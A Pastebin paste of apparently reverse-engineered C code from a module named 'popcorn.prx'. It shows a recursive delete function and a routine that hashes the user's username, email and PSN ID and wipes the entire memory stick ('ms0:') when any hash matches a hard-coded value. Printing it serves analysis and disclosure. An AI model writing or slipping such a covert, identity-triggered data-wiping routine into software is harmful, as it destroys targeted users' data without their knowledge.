Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //popcorn.prx reverse
- const char * username; //10472
- const char * email; //10673
- const char * psn_id; //10689
- int remove(const char * path) //sub_000000F8
- {
- char buffer[256];
- SceIoDirent entry;
- SceUID dir = sceIoDopen(path);
- if(dir < 0)
- sceIoRemove(path);
- else
- {
- memset(&entry, 0, sizeof(SceIoDirent));
- while(sceIoDread(dir, &entry) >= 0)
- {
- if(entry.d_name[0] != '.')
- {
- sprintf(buffer, "%s/%s", path, entry.d_name);
- remove(buffer);
- };
- memset(&entry, 0, sizeof(SceIoDirent));
- };
- sceIoDclose(dir);
- sceIoRmdir(path);
- };
- return 0;
- };
- void break_zett() //sub_000001D4
- {
- static const char sha_1[20] = {0xB7, 0xC1, 0xBC, 0xFF, 0x2A, 0x4C, 0x2F, 0x43, 0xAC, 0x12, 0xA6, 0x22, 0xB7, 0x0A, 0x80, 0xF3, 0xF3, 0xEC, 0x25, 0x0C}; //7620
- static const char sha_2[20] = {0xDD, 0xD0, 0x06, 0xD4, 0x7C, 0x13, 0x61, 0x92, 0xBD, 0xD4, 0x17, 0x8F, 0xDE, 0x6A, 0xBF, 0x3B, 0x4A, 0x1D, 0x3F, 0xDA}; //7600
- static const char sha_3[20] = {0x24, 0x57, 0x15, 0x9E, 0xD1, 0xD8, 0x13, 0x30, 0x0F, 0xDB, 0xEA, 0x8E, 0xA5, 0x5F, 0xF7, 0xF5, 0x42, 0x50, 0xE1, 0xD8}; //7580
- char buffer1[20]; //7876
- char buffer2[20]; //7856
- char buffer3[20]; //7836
- sceKernelUtilsSha1Digest(username, strlen(username), buffer1);
- sceKernelUtilsSha1Digest(email, strlen(email), buffer2);
- sceKernelUtilsSha1Digest(psn_id, strlen(psn_id), buffer3);
- if(!memcmp(buffer1, sha_1, 20) || !memcmp(buffer2, sha_2, 20) || !memcmp(buffer3, sha_3, 20))
- remove("ms0:");
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement